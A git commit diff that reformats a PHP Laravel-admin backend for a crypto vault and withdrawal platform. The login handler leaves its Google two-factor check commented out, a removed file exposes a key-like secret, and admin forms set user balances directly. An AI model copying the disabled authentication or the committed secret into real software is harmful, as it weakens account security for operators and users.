batch formater executed

This commit is contained in:
mx 2022-05-01 19:44:17 +07:00
parent df88ffe0d6
commit 83c4355514
96 changed files with 10302 additions and 6390 deletions

View File

@ -1 +0,0 @@
G_c2m0qHhynUwznfxAzrbFGwfr12PusMa-vcNehJqpc.NtgUatyJ7AmLv-D_8HLK9St05qtNcZ1e1FVUOjl6YxU

View File

@ -41,5 +41,4 @@ class Airdrop extends RowAction
$this->text('Airdrop', '金额(GLK)')->rules('required'); $this->text('Airdrop', '金额(GLK)')->rules('required');
} }
}
}

View File

@ -13,7 +13,7 @@ class Replicate extends RowAction
public function handle(Model $model) public function handle(Model $model)
{ {
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/'.strtolower($model->address)); $data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($model->address));
$data_array = json_decode($data, true); $data_array = json_decode($data, true);
@ -24,16 +24,15 @@ class Replicate extends RowAction
foreach ($list as $l) { foreach ($list as $l) {
if ($l['address'] == $v['hash']) { if ($l['address'] == $v['hash']) {
User::where(['address' => $model->address])->update([ User::where(['address' => $model->address])->update([
$l['name'] => $v['balance'] / pow( 10, $v['tokenInfo']['d']) $l['name'] => $v['balance'] / pow(10, $v['tokenInfo']['d'])
]); ]);
} }
} }
} }
}else{ } else {
return $this->response()->error('暂无数据')->refresh(); return $this->response()->error('暂无数据')->refresh();
} }
return $this->response()->success('更新成功')->refresh(); return $this->response()->success('更新成功')->refresh();
} }
}
}

View File

@ -23,10 +23,8 @@ class Replicate extends RowAction
User::where(['id' => $user['id']])->increment('balance', $model['balance']); User::where(['id' => $user['id']])->increment('balance', $model['balance']);
}); });
return $this->response()->success('Success message.')->refresh(); return $this->response()->success('Success message.')->refresh();
}else{ } else {
return $this->response()->error('不要给人家送钱')->refresh(); return $this->response()->error('不要给人家送钱')->refresh();
} }
} }
}
}

View File

@ -15,11 +15,9 @@ class Success extends RowAction
// $model ... // $model ...
if ($model['status'] == 0) { if ($model['status'] == 0) {
return $this->response()->redirect('/admin/common/swap/'. $model->id); return $this->response()->redirect('/admin/common/swap/' . $model->id);
}else{ } else {
return $this->response()->error('不要给人家送钱')->refresh(); return $this->response()->error('不要给人家送钱')->refresh();
} }
} }
}
}

View File

@ -15,11 +15,10 @@ class Change extends RowAction
public function handle(Model $model) public function handle(Model $model)
{ {
$ga = new Google(); $ga = new Google();
$secrete= $ga->createSecret(); $secrete = $ga->createSecret();
$admin = Administrator::where(array("id"=>$model->id))->update([ $admin = Administrator::where(array("id" => $model->id))->update([
"secret"=>$secrete "secret" => $secrete
]); ]);
return $this->response()->success('新的谷歌密钥为'.$secrete.'可以编辑查看')->refresh();; return $this->response()->success('新的谷歌密钥为' . $secrete . '可以编辑查看')->refresh();;
} }
}
}

View File

@ -11,7 +11,6 @@ class Swap extends RowAction
public function handle(Model $model) public function handle(Model $model)
{ {
return $this->response()->redirect('/admin/common/user/'. $model->id); return $this->response()->redirect('/admin/common/user/' . $model->id);
} }
}
}

View File

@ -27,7 +27,7 @@ class Refuse extends RowAction
// 反自身币,提取收益 // 反自身币,提取收益
if ($model['type'] == 2 && $model['liexing'] == 1) { if ($model['type'] == 2 && $model['liexing'] == 1) {
DB::transaction(function () use ($model) { DB::transaction(function () use ($model) {
Vault2::where(['address' => $model['address']])->increment($model['bi_name'].'_T', $model['balance']); Vault2::where(['address' => $model['address']])->increment($model['bi_name'] . '_T', $model['balance']);
Withdrawal::where(['id' => $model['id']])->update(['status' => 2, 'true_balance' => $model['balance']]); Withdrawal::where(['id' => $model['id']])->update(['status' => 2, 'true_balance' => $model['balance']]);
}); });
} }
@ -41,10 +41,8 @@ class Refuse extends RowAction
} }
return $this->response()->success('操作成功')->refresh(); return $this->response()->success('操作成功')->refresh();
}else{ } else {
return $this->response()->error('不要给人家送钱')->refresh(); return $this->response()->error('不要给人家送钱')->refresh();
} }
} }
}
}

View File

@ -12,10 +12,9 @@ class Success extends RowAction
public function handle(Model $model) public function handle(Model $model)
{ {
if ($model['status'] == 0 && !($model['type'] == 1 && $model['liexing'] == 1)) { if ($model['status'] == 0 && !($model['type'] == 1 && $model['liexing'] == 1)) {
return $this->response()->redirect('/admin/common/withdrawal/'. $model->id); return $this->response()->redirect('/admin/common/withdrawal/' . $model->id);
}else{ } else {
return $this->response()->error('不要给人家送钱')->refresh(); return $this->response()->error('不要给人家送钱')->refresh();
} }
} }
}
}

View File

@ -57,7 +57,8 @@ class AdminusersController extends AdminController
return $grid; return $grid;
} }
protected function detail($id){ protected function detail($id)
{
$show = new Show(Administrator::findOrFail($id)); $show = new Show(Administrator::findOrFail($id));
$show->field('secret', __('谷歌密钥')); $show->field('secret', __('谷歌密钥'));
@ -76,14 +77,13 @@ class AdminusersController extends AdminController
$newsecret = 1; $newsecret = 1;
$form->display('username', __('管理员名称')); $form->display('username', __('管理员名称'));
$form->text('secret', "谷歌密钥") ->default(function ($form) { $form->text('secret', "谷歌密钥")->default(function ($form) {
if($form->model()->secret){ if ($form->model()->secret) {
return $form->model()->secret; return $form->model()->secret;
}else{ } else {
$ga = new Google(); $ga = new Google();
return $ga->createSecret(); return $ga->createSecret();
} }
}); });
return $form; return $form;
} }

View File

@ -42,17 +42,16 @@ class ArticlesController extends AdminController
$grid->column('lang', __('语言'))->display(function ($title) { $grid->column('lang', __('语言'))->display(function ($title) {
if ($title == 'en') { if ($title == 'en') {
return "英文"; return "英文";
}else { } else {
return "中文"; return "中文";
} }
}); });
$grid->column('type', __('类型'))->display(function ($title) { $grid->column('type', __('类型'))->display(function ($title) {
if ($title == 1) { if ($title == 1) {
return "公告"; return "公告";
}elseif($title == 2){ } elseif ($title == 2) {
return "常见问题"; return "常见问题";
} } else {
else {
return "教程"; return "教程";
} }
}); });
@ -62,7 +61,7 @@ class ArticlesController extends AdminController
$grid->actions(function ($actions) { $grid->actions(function ($actions) {
// 去掉查看 // 去掉查看
$actions->disableView(); $actions->disableView();
}); });
@ -81,10 +80,10 @@ class ArticlesController extends AdminController
$form->text('title', __('文章标题')); $form->text('title', __('文章标题'));
$form->select('lang', __('语言'))->options(['en'=> '英语','zh' => '中文']); $form->select('lang', __('语言'))->options(['en' => '英语', 'zh' => '中文']);
$form->select('type', __('类型'))->options([1=> '公告',2 => '常见问题',3=> '教程']); $form->select('type', __('类型'))->options([1 => '公告', 2 => '常见问题', 3 => '教程']);
$form->ckeditor('content'); $form->ckeditor('content');
return $form; return $form;
} }
} }

View File

@ -56,15 +56,15 @@ class AuthController extends BaseAuthController
$remember = $request->get('remember', false); $remember = $request->get('remember', false);
// 系统设置 // 系统设置
$admin = Administrator::where(array("username"=>$request->input('username')))->first(); $admin = Administrator::where(array("username" => $request->input('username')))->first();
$ga = new Google(); $ga = new Google();
//if($ga->verifyCode($admin->secret, $secret,8)){ //if($ga->verifyCode($admin->secret, $secret,8)){
if ($this->guard()->attempt($credentials, $remember)) { if ($this->guard()->attempt($credentials, $remember)) {
return $this->sendLoginResponse($request); return $this->sendLoginResponse($request);
} }
// } // }
return back()->withInput()->withErrors([ return back()->withInput()->withErrors([
$this->username() => $this->getFailedLoginMessage(), $this->username() => $this->getFailedLoginMessage(),

View File

@ -29,7 +29,7 @@ class AuthorizeController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -45,14 +45,14 @@ class AuthorizeController extends AdminController
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();
$grid->column('address', __('钱包地址'))->expand(function ($model) { $grid->column('address', __('钱包地址'))->expand(function ($model) {
return new Table(['哈希'],[ return new Table(['哈希'], [
[$model['hash']] [$model['hash']]
]); ]);
}); });
$grid->column('name', __('币种')); $grid->column('name', __('币种'));
$grid->column('hash', __('查链'))->display(function ($title) { $grid->column('hash', __('查链'))->display(function ($title) {
if ($title) { if ($title) {
return "<a target='_blank' href='https://eth.tokenview.com/cn/tx/".$title."'>查询</a>"; return "<a target='_blank' href='https://eth.tokenview.com/cn/tx/" . $title . "'>查询</a>";
} }
}); });
$states = [ $states = [

View File

@ -29,7 +29,7 @@ class BalanceController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();

View File

@ -31,7 +31,7 @@ class CommissionController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();

View File

@ -56,9 +56,10 @@ class CommonController extends AuthController
]; ];
return $content->body(view('admin.withdrawal', [ return $content->body(view('admin.withdrawal', [
'registryAddress' => $registryAddress[$data['bi_name']], 'registryAddress' => $registryAddress[$data['bi_name']],
'system' => $system, 'system' => $system,
'data' => $data])->render()); 'data' => $data
])->render());
} }
if ($request->isMethod('POST')) { if ($request->isMethod('POST')) {
@ -81,7 +82,6 @@ class CommonController extends AuthController
} }
} }
// 划转余额 // 划转余额
public function user(Content $content, Request $request) public function user(Content $content, Request $request)
{ {
@ -106,6 +106,5 @@ class CommonController extends AuthController
'created_at' => date('Y-m-d H:i:s', time()) 'created_at' => date('Y-m-d H:i:s', time())
]); ]);
} }
} }
} }

View File

@ -29,7 +29,7 @@ class DaoController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -38,7 +38,6 @@ class DaoController extends AdminController
$filter->like('address', '钱包地址'); $filter->like('address', '钱包地址');
$filter->like('content', '内容'); $filter->like('content', '内容');
$filter->between('created_at', '创建时间')->datetime(); $filter->between('created_at', '创建时间')->datetime();
}); });
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();

View File

@ -30,7 +30,7 @@ class DetailController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -42,7 +42,6 @@ class DetailController extends AdminController
$filter->like('status', '状态')->select([0 => '未确认', 1 => '已确认']); $filter->like('status', '状态')->select([0 => '未确认', 1 => '已确认']);
$filter->between('created_at', '创建时间')->datetime(); $filter->between('created_at', '创建时间')->datetime();
$filter->between('updated_at', '最近时间')->datetime(); $filter->between('updated_at', '最近时间')->datetime();
}); });
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();
@ -56,7 +55,7 @@ class DetailController extends AdminController
$grid->column('remake', __('备注')); $grid->column('remake', __('备注'));
$grid->column('info', __('币种--收益率'))->display(function ($title) { $grid->column('info', __('币种--收益率'))->display(function ($title) {
$cotent = json_decode($title, true); $cotent = json_decode($title, true);
return $cotent['name'] .'--'. $cotent['yield'].'%'; return $cotent['name'] . '--' . $cotent['yield'] . '%';
}); });
$grid->column('balance', __('金额'))->sortable(); $grid->column('balance', __('金额'))->sortable();

View File

@ -35,7 +35,7 @@ class NftController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -43,7 +43,6 @@ class NftController extends AdminController
// 在这里添加字段过滤器 // 在这里添加字段过滤器
$filter->between('created_at', '创建时间')->datetime(); $filter->between('created_at', '创建时间')->datetime();
$filter->between('updated_at', '最近时间')->datetime(); $filter->between('updated_at', '最近时间')->datetime();
}); });
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();
@ -92,7 +91,7 @@ class NftController extends AdminController
$form->text('name', __('标题')); $form->text('name', __('标题'));
$form->text('url', __('图片路径')); $form->text('url', __('图片路径'));
$form->text('price', __('价格')); $form->text('price', __('价格'));
$form->number('order_sort','排序')->default(0); $form->number('order_sort', '排序')->default(0);
return $form; return $form;
} }

View File

@ -30,11 +30,11 @@ class OtherController extends AdminController
$grid = new Grid(new Other()); $grid = new Grid(new Other());
$grid->column('title','网站名称'); $grid->column('title', '网站名称');
$grid->column('logo_url','logo')->image(); $grid->column('logo_url', 'logo')->image();
$grid->column('banner')->carousel(); $grid->column('banner')->carousel();
$grid->column('lock_url','挖矿轮播图')->image(); $grid->column('lock_url', '挖矿轮播图')->image();
$grid->column('dao_url','DAO轮播图')->image(); $grid->column('dao_url', 'DAO轮播图')->image();
$grid->actions(function ($actions) { $grid->actions(function ($actions) {
@ -60,9 +60,9 @@ class OtherController extends AdminController
{ {
$form = new Form(new Other()); $form = new Form(new Other());
$form->text('title','网站名称'); $form->text('title', '网站名称');
$form->image('logo_url', '上传LOGO'); $form->image('logo_url', '上传LOGO');
$form->multipleImage('banner','轮播图')->removable(); $form->multipleImage('banner', '轮播图')->removable();
$form->image('lock_url', '挖矿轮播图'); $form->image('lock_url', '挖矿轮播图');
$form->image('dao_url', 'DAO轮播图'); $form->image('dao_url', 'DAO轮播图');
@ -82,7 +82,6 @@ class OtherController extends AdminController
// 去掉`继续创建`checkbox // 去掉`继续创建`checkbox
$footer->disableCreatingCheck(); $footer->disableCreatingCheck();
}); });
return $form; return $form;
} }

View File

@ -87,25 +87,25 @@ class SingleController extends AdminController
$form->display('id', __('ID')); $form->display('id', __('ID'));
$form->text('name', '币种')->required(); $form->text('name', '币种')->required();
$form->image('name_img','图片')->required(); $form->image('name_img', '图片')->required();
$form->text('yield','收益率')->required(); $form->text('yield', '收益率')->required();
$form->text('count','总募集')->required(); $form->text('count', '总募集')->required();
$form->text('count_use','已募集')->required(); $form->text('count_use', '已募集')->required();
$form->text('address','合约地址')->required(); $form->text('address', '合约地址')->required();
$form->select('type','策略类型')->options([1 => '平台币', 2 => '自身币', 3 => '流动性'])->required(); $form->select('type', '策略类型')->options([1 => '平台币', 2 => '自身币', 3 => '流动性'])->required();
$form->number('sorts','排序')->default(0); $form->number('sorts', '排序')->default(0);
$form->text('min_c','最低存入')->required(); $form->text('min_c', '最低存入')->required();
$form->text('min_q','最低取出')->required(); $form->text('min_q', '最低取出')->required();
$form->switch('use','开关')->states([ $form->switch('use', '开关')->states([
'off' => ['value' => 0, 'text' => '关闭', 'color' => 'danger'], 'off' => ['value' => 0, 'text' => '关闭', 'color' => 'danger'],
'on' => ['value' => 1, 'text' => '打开', 'color' => 'success'], 'on' => ['value' => 1, 'text' => '打开', 'color' => 'success'],
]); ]);
$form->switch('new','最新')->states([ $form->switch('new', '最新')->states([
'off' => ['value' => 0, 'text' => '关闭', 'color' => 'danger'], 'off' => ['value' => 0, 'text' => '关闭', 'color' => 'danger'],
'on' => ['value' => 1, 'text' => '打开', 'color' => 'success'], 'on' => ['value' => 1, 'text' => '打开', 'color' => 'success'],
]); ]);

View File

@ -31,7 +31,7 @@ class SwapController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -46,7 +46,7 @@ class SwapController extends AdminController
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();
$grid->column('address', __('钱包地址'))->expand(function ($model) { $grid->column('address', __('钱包地址'))->expand(function ($model) {
return new Table(['哈希'],[ return new Table(['哈希'], [
[$model['hash']] [$model['hash']]
]); ]);
}); });
@ -60,7 +60,7 @@ class SwapController extends AdminController
]); ]);
$grid->column('hash', __('查链'))->display(function ($title) { $grid->column('hash', __('查链'))->display(function ($title) {
if ($title) { if ($title) {
return "<a target='_blank' href='https://eth.tokenview.com/cn/tx/".$title."'>查询</a>"; return "<a target='_blank' href='https://eth.tokenview.com/cn/tx/" . $title . "'>查询</a>";
} }
}); });
$grid->column('created_at', __('创建时间'))->sortable(); $grid->column('created_at', __('创建时间'))->sortable();

View File

@ -10,13 +10,13 @@ use Illuminate\Http\Request;
class SystemController extends AdminController class SystemController extends AdminController
{ {
protected function grid() protected function grid()
{ {
$grid = new Grid(new System()); $grid = new Grid(new System());
$grid->column('telegram','telegram'); $grid->column('telegram', 'telegram');
$grid->actions(function ($actions) { $grid->actions(function ($actions) {
@ -64,8 +64,8 @@ class SystemController extends AdminController
$form->text('reward16', 'Destroy (GLK)')->default($data->reward16); $form->text('reward16', 'Destroy (GLK)')->default($data->reward16);
$form->text('reward17', 'TVL($)')->default($data->reward17); $form->text('reward17', 'TVL($)')->default($data->reward17);
$form->text('reward18', 'Total Users Earned($)')->default($data->reward18); $form->text('reward18', 'Total Users Earned($)')->default($data->reward18);
$form->text('kefu_url','客服链接')->default($data->kefu_url); $form->text('kefu_url', '客服链接')->default($data->kefu_url);
$form->text('pic_url','轮播图链接')->default($data->pic_url); $form->text('pic_url', '轮播图链接')->default($data->pic_url);
$form->text('telegram', '飞机号')->default($data->telegram); $form->text('telegram', '飞机号')->default($data->telegram);
$form->text('twitter', '推特号')->default($data->twitter); $form->text('twitter', '推特号')->default($data->twitter);
@ -84,8 +84,8 @@ class SystemController extends AdminController
$form->text('limit_GLK', 'GLK最低兑换限制')->default($data->limit_GLK); $form->text('limit_GLK', 'GLK最低兑换限制')->default($data->limit_GLK);
$form->text('yao_lixi', '邀请返利')->default($data->yao_lixi); $form->text('yao_lixi', '邀请返利')->default($data->yao_lixi);
$form->text('suo_lixi', '锁仓返利')->default($data->suo_lixi); $form->text('suo_lixi', '锁仓返利')->default($data->suo_lixi);
$form->text('liudong','流动挖矿奖励间隔')->default($data->liudong); $form->text('liudong', '流动挖矿奖励间隔')->default($data->liudong);
// $form->select('lang','默认语言')->options([1 => '中文', 2 => '英文']); // $form->select('lang','默认语言')->options([1 => '中文', 2 => '英文']);
$form->tools(function (Form\Tools $tools) { $form->tools(function (Form\Tools $tools) {
// 去掉`列表`按钮 // 去掉`列表`按钮
@ -101,7 +101,6 @@ class SystemController extends AdminController
$footer->disableViewCheck(); $footer->disableViewCheck();
$footer->disableEditingCheck(); $footer->disableEditingCheck();
$footer->disableCreatingCheck(); $footer->disableCreatingCheck();
}); });
return $form; return $form;
@ -152,10 +151,9 @@ class SystemController extends AdminController
'yao_lixi' => $request->input('yao_lixi'), 'yao_lixi' => $request->input('yao_lixi'),
'suo_lixi' => $request->input('suo_lixi'), 'suo_lixi' => $request->input('suo_lixi'),
'liudong' => $request->input('liudong'), 'liudong' => $request->input('liudong'),
// 'lang' => $request->input('lang'), // 'lang' => $request->input('lang'),
]); ]);
return redirect('/system'); return redirect('/system');
} }
} }

View File

@ -31,7 +31,7 @@ class TransferController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -41,12 +41,11 @@ class TransferController extends AdminController
$filter->like('hash', '哈希值'); $filter->like('hash', '哈希值');
$filter->like('name', '币种'); $filter->like('name', '币种');
$filter->between('created_at', '创建时间')->datetime(); $filter->between('created_at', '创建时间')->datetime();
}); });
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();
$grid->column('address_from', __('钱包地址'))->expand(function ($model) { $grid->column('address_from', __('钱包地址'))->expand(function ($model) {
return new Table(['哈希'],[ return new Table(['哈希'], [
[$model['hash']] [$model['hash']]
]); ]);
}); });
@ -55,7 +54,7 @@ class TransferController extends AdminController
$grid->column('balance', __('金额'))->sortable(); $grid->column('balance', __('金额'))->sortable();
$grid->column('hash', __('查链'))->display(function ($title) { $grid->column('hash', __('查链'))->display(function ($title) {
if ($title) { if ($title) {
return "<a target='_blank' href='https://eth.tokenview.com/cn/tx/".$title."'>查询</a>"; return "<a target='_blank' href='https://eth.tokenview.com/cn/tx/" . $title . "'>查询</a>";
} }
}); });
$grid->column('created_at', __('创建时间'))->sortable(); $grid->column('created_at', __('创建时间'))->sortable();

View File

@ -36,7 +36,7 @@ class UserController extends AdminController
$grid->model()->orderBy('id', 'desc'); $grid->model()->orderBy('id', 'desc');
$grid->filter(function($filter){ $grid->filter(function ($filter) {
// 去掉默认的id过滤器 // 去掉默认的id过滤器
$filter->disableIdFilter(); $filter->disableIdFilter();
@ -45,28 +45,27 @@ class UserController extends AdminController
$filter->like('address', '钱包地址'); $filter->like('address', '钱包地址');
$filter->between('created_at', '创建时间')->datetime(); $filter->between('created_at', '创建时间')->datetime();
$filter->between('updated_at', '最近时间')->datetime(); $filter->between('updated_at', '最近时间')->datetime();
}); });
$grid->column('id', __('ID'))->sortable(); $grid->column('id', __('ID'))->sortable();
$grid->column('address', __('钱包地址'))->expand(function($model) { $grid->column('address', __('钱包地址'))->expand(function ($model) {
$vault = Vault::where(['id' => $model->id])->first(); $vault = Vault::where(['id' => $model->id])->first();
$vault2 = Vault2::where(['id' => $model->id])->first(); $vault2 = Vault2::where(['id' => $model->id])->first();
return new Table(['币种', '账户余额', '策略(平台币)','收益', '策略(自身币)', '收益', '是否授权'], [ return new Table(['币种', '账户余额', '策略(平台币)', '收益', '策略(自身币)', '收益', '是否授权'], [
['USDT', $model->USDT,$vault->USDT, $vault->USDT_T,$vault2->USDT, $vault2->USDT_T, empty($model->USDT_Q) ? 'no' : 'yes'], ['USDT', $model->USDT, $vault->USDT, $vault->USDT_T, $vault2->USDT, $vault2->USDT_T, empty($model->USDT_Q) ? 'no' : 'yes'],
['WETH', $model->WETH,$vault->WETH, $vault->WETH_T,$vault2->WETH, $vault2->WETH_T, empty($model->WETH_Q) ? 'no' : 'yes'], ['WETH', $model->WETH, $vault->WETH, $vault->WETH_T, $vault2->WETH, $vault2->WETH_T, empty($model->WETH_Q) ? 'no' : 'yes'],
['WBTC', $model->WBTC,$vault->WBTC, $vault->WBTC_T,$vault2->WBTC, $vault2->WBTC_T, empty($model->WBTC_Q) ? 'no' : 'yes'], ['WBTC', $model->WBTC, $vault->WBTC, $vault->WBTC_T, $vault2->WBTC, $vault2->WBTC_T, empty($model->WBTC_Q) ? 'no' : 'yes'],
['SHIB', $model->SHIB,$vault->SHIB, $vault->SHIB_T,$vault2->SHIB, $vault2->SHIB_T, empty($model->SHIB_Q) ? 'no' : 'yes'], ['SHIB', $model->SHIB, $vault->SHIB, $vault->SHIB_T, $vault2->SHIB, $vault2->SHIB_T, empty($model->SHIB_Q) ? 'no' : 'yes'],
['UNI', $model->UNI,$vault->UNI, $vault->UNI_T,$vault2->UNI, $vault2->UNI_T, empty($model->UNI_Q) ? 'no' : 'yes'], ['UNI', $model->UNI, $vault->UNI, $vault->UNI_T, $vault2->UNI, $vault2->UNI_T, empty($model->UNI_Q) ? 'no' : 'yes'],
['DAI', $model->DAI,$vault->DAI, $vault->DAI_T,$vault2->DAI, $vault2->DAI_T, empty($model->DAI_Q) ? 'no' : 'yes'], ['DAI', $model->DAI, $vault->DAI, $vault->DAI_T, $vault2->DAI, $vault2->DAI_T, empty($model->DAI_Q) ? 'no' : 'yes'],
['USDC', $model->USDC,$vault->USDC, $vault->USDC_T,$vault2->USDC, $vault2->USDC_T, empty($model->USDC_Q) ? 'no' : 'yes'] ['USDC', $model->USDC, $vault->USDC, $vault->USDC_T, $vault2->USDC, $vault2->USDC_T, empty($model->USDC_Q) ? 'no' : 'yes']
]); ]);
}); });
$grid->column('balance', '平台币')->expand(function ($model) { $grid->column('balance', '平台币')->expand(function ($model) {
$data = Vault3::where(['id' => $model['id']])->first(); $data = Vault3::where(['id' => $model['id']])->first();
return new Table(['DAO锁仓', 'DAO累计收益', '最后锁仓时间', '总共交易额','空投金额', '邀请累计佣金', '邀请可领佣金', '流动收益(USDT)', '流动收益(USDC)'], [ return new Table(['DAO锁仓', 'DAO累计收益', '最后锁仓时间', '总共交易额', '空投金额', '邀请累计佣金', '邀请可领佣金', '流动收益(USDT)', '流动收益(USDC)'], [
[$model['dao_current'], $model['dao_leiji'], $model['dao_time'], $model['count_amount'], $model['Airdrop'], $model['yao_leiji_amount'], $model['yao_curr_amount'], $data['USDT_T'], $data['USDC_T']] [$model['dao_current'], $model['dao_leiji'], $model['dao_time'], $model['count_amount'], $model['Airdrop'], $model['yao_leiji_amount'], $model['yao_curr_amount'], $data['USDT_T'], $data['USDC_T']]
]); ]);
}); });
@ -75,36 +74,36 @@ class UserController extends AdminController
$grid->column('use', __('本金状态'))->display(function ($title) { $grid->column('use', __('本金状态'))->display(function ($title) {
if ($title == 1) { if ($title == 1) {
return "<span style='color: #00a65a'>正常</span>"; return "<span style='color: #00a65a'>正常</span>";
}else { } else {
return "<span style='color: red'>禁用</span>"; return "<span style='color: red'>禁用</span>";
} }
}); });
$grid->column('use1', __('收益状态'))->display(function ($title) { $grid->column('use1', __('收益状态'))->display(function ($title) {
if ($title == 1) { if ($title == 1) {
return "<span style='color: #00a65a'>正常</span>"; return "<span style='color: #00a65a'>正常</span>";
}else { } else {
return "<span style='color: red'>禁用</span>"; return "<span style='color: red'>禁用</span>";
} }
}); });
$grid->column('id','下级数量')->display(function ($title) { $grid->column('id', '下级数量')->display(function ($title) {
return User::where(['s_id' => $title])->count(); return User::where(['s_id' => $title])->count();
})->expand(function ($model) { })->expand(function ($model) {
$user = User::where(['s_id' => $model['id']])->get()->toArray(); $user = User::where(['s_id' => $model['id']])->get()->toArray();
$data = []; $data = [];
foreach ($user as $k => $v) { foreach ($user as $k => $v) {
$data[] = [$v['address'], $v['num'], $v['remark'],$v['created_at']]; $data[] = [$v['address'], $v['num'], $v['remark'], $v['created_at']];
} }
return new Table(['钱包地址', '交易次数', '备注说明', '创建时间'], $data); return new Table(['钱包地址', '交易次数', '备注说明', '创建时间'], $data);
});; });;
$grid->column('user_type', '虚拟号')->display(function ($released) { $grid->column('user_type', '虚拟号')->display(function ($released) {
return $released ? '是' : '否'; return $released ? '是' : '否';
}); });
$grid->column('remark', __('备注说明'))->editable(); $grid->column('remark', __('备注说明'))->editable();
$grid->column('ip', __('注册地址')); $grid->column('ip', __('注册地址'));
$grid->column('created_at', __('创建时间'))->sortable(); $grid->column('created_at', __('创建时间'))->sortable();
$grid->column('updated_at', '最后上线')->display(function ($title) { $grid->column('updated_at', '最后上线')->display(function ($title) {
return (int)((time() - strtotime($title)) / 60) .'分钟'; return (int)((time() - strtotime($title)) / 60) . '分钟';
}); });
$grid->actions(function ($actions) { $grid->actions(function ($actions) {
@ -143,22 +142,22 @@ class UserController extends AdminController
* @return Form * @return Form
*/ */
protected function form() protected function form()
{ {
$arr = request()->route()->parameters(); $arr = request()->route()->parameters();
$id= $arr['user']; $id = $arr['user'];
$userinfo = User::find($id); $userinfo = User::find($id);
$vault = Vault::where(['address' => $userinfo->address])->first(); $vault = Vault::where(['address' => $userinfo->address])->first();
$vault2 = Vault2::where(['address' => $userinfo->address])->first(); $vault2 = Vault2::where(['address' => $userinfo->address])->first();
$form = new Form(new User); $form = new Form(new User);
$form->display('address', __('钱包地址'))->disable(); $form->display('address', __('钱包地址'))->disable();
$form->text('remark', __('备注')); $form->text('remark', __('备注'));
$form->text('USDT', __('账号余额USDT')); $form->text('USDT', __('账号余额USDT'));
$form->text('USDT_V', __('策略(平台币)USDT'))->default($vault->USDT); $form->text('USDT_V', __('策略(平台币)USDT'))->default($vault->USDT);
$form->text('USDT_V2', __('策略(自身币)USDT'))->default($vault2->USDT); $form->text('USDT_V2', __('策略(自身币)USDT'))->default($vault2->USDT);
$form->text('USDT_T', __('收益USDT'))->default($vault->USDT_T); $form->text('USDT_T', __('收益USDT'))->default($vault->USDT_T);
$form->text('USDT_T2', __('收益USDT2'))->default($vault2->USDT_T); $form->text('USDT_T2', __('收益USDT2'))->default($vault2->USDT_T);
$form->text('WETH', __('账号余额WETH')); $form->text('WETH', __('账号余额WETH'));
$form->text('WETH_V', __('策略(平台币)WETH'))->default($vault->WETH); $form->text('WETH_V', __('策略(平台币)WETH'))->default($vault->WETH);
$form->text('WETH_V2', __('策略(自身币)WETH'))->default($vault2->WETH); $form->text('WETH_V2', __('策略(自身币)WETH'))->default($vault2->WETH);
@ -168,135 +167,130 @@ class UserController extends AdminController
$form->text('WBTC_V', __('策略(平台币)WBTC'))->default($vault->WBTC); $form->text('WBTC_V', __('策略(平台币)WBTC'))->default($vault->WBTC);
$form->text('WBTC_V2', __('策略(自身币)WBTC'))->default($vault2->WBTC); $form->text('WBTC_V2', __('策略(自身币)WBTC'))->default($vault2->WBTC);
$form->text('WBTC_T', __('收益WBTC'))->default($vault->WBTC_T); $form->text('WBTC_T', __('收益WBTC'))->default($vault->WBTC_T);
$form->text('WBTC_T2', __('收益WBTC2'))->default($vault2->WBTC_T); $form->text('WBTC_T2', __('收益WBTC2'))->default($vault2->WBTC_T);
$form->text('SHIB', __('账号余额SHIB')); $form->text('SHIB', __('账号余额SHIB'));
$form->text('SHIB_V', __('策略(平台币)SHIB'))->default($vault->SHIB); $form->text('SHIB_V', __('策略(平台币)SHIB'))->default($vault->SHIB);
$form->text('SHIB_V2', __('策略(自身币)SHIB'))->default($vault2->SHIB); $form->text('SHIB_V2', __('策略(自身币)SHIB'))->default($vault2->SHIB);
$form->text('SHIB_T', __('收益SHIB'))->default($vault->SHIB_T); $form->text('SHIB_T', __('收益SHIB'))->default($vault->SHIB_T);
